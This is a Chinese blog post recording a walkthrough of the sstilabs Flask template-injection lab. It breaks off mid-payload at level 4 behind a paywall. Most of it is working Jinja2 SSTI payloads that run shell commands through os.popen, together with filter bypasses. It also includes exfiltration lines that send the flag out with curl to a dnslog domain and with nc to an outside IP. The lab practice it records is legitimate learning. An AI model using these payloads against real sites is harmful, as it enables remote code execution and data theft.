flask sssti lab闯关记录

最新推荐文章于 2024-04-12 04:32:37 发布

拓海AE

最新推荐文章于 2024-04-12 04:32:37 发布

阅读量4k

点赞数 7

分类专栏： web安全 ssti模板注入文章标签： web安全 flask

本文链接：https://blog.csdn.net/weixin_44576725/article/details/124176682

版权

本文详细介绍了在sstilab Flask模板注入靶场中逐级突破的技巧，包括利用__import__、绕过过滤、编码技巧和避开WAF限制。从level1的基础导入模块，到level13的高级绕过策略，适合学习和实践模板注入漏洞利用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

flask ssti lab闯关记录

sstilab是一个模板注入的靶场，目前只有Flask模板注入的练习

地址：https://github.com/X3NNY/sstilabs

level 1

判断出是post方法

借用bp的intrude模块查看可以利用的类，这里查找的模块是__import__

发现80、81、82、83可以有__import__模块，加以利用得到payload

{
  {[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("cat flag").read()}}

打过去获得flag

还可以尝试其他模块，比如__builtins__，popen，os，sys。

# __builtins__
{
  {().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}
# popen
{
  {().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}
# os
{
  {().__class__.__base__.__subclasses__()[213].__init__.__globals__['os'].popen('cat flag').read()}}

level 2

过滤了{ } ，用{%%}替代。这里有两种方法绕过

print标记

{%print [].__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("cat flag").read()%}

dnslog外带

{% if ().__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("curl `cat flag`.0ppgif.ceye.io").read()=='ssti' %}1{% endif %}

level 3

这道是盲注，有两种方法绕过

dnslog外带

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{
    { i.__init__.__globals__['os'].popen('curl http://`cat flag`.0ppgif.ceye.io').read()}}{% endif %}{% endfor %}

通过nc命令将文件内容回显到自己的服务器上

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{
    { i.__init__.__globals__['os'].popen('cat flag|nc 119.91.214.224 1234').read()}}{% endif %}{% endfor %}

level 4

过滤了[ ]，这里有两种情况下的过滤

使用pop或__getitem__()代替索引中的[]
使用__getattribute__代替魔术方法中的[]

# os
{
  {().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(213).__init__.__globals__.__getitem__('os').popen('cat fl

最低0.47元/天解锁文章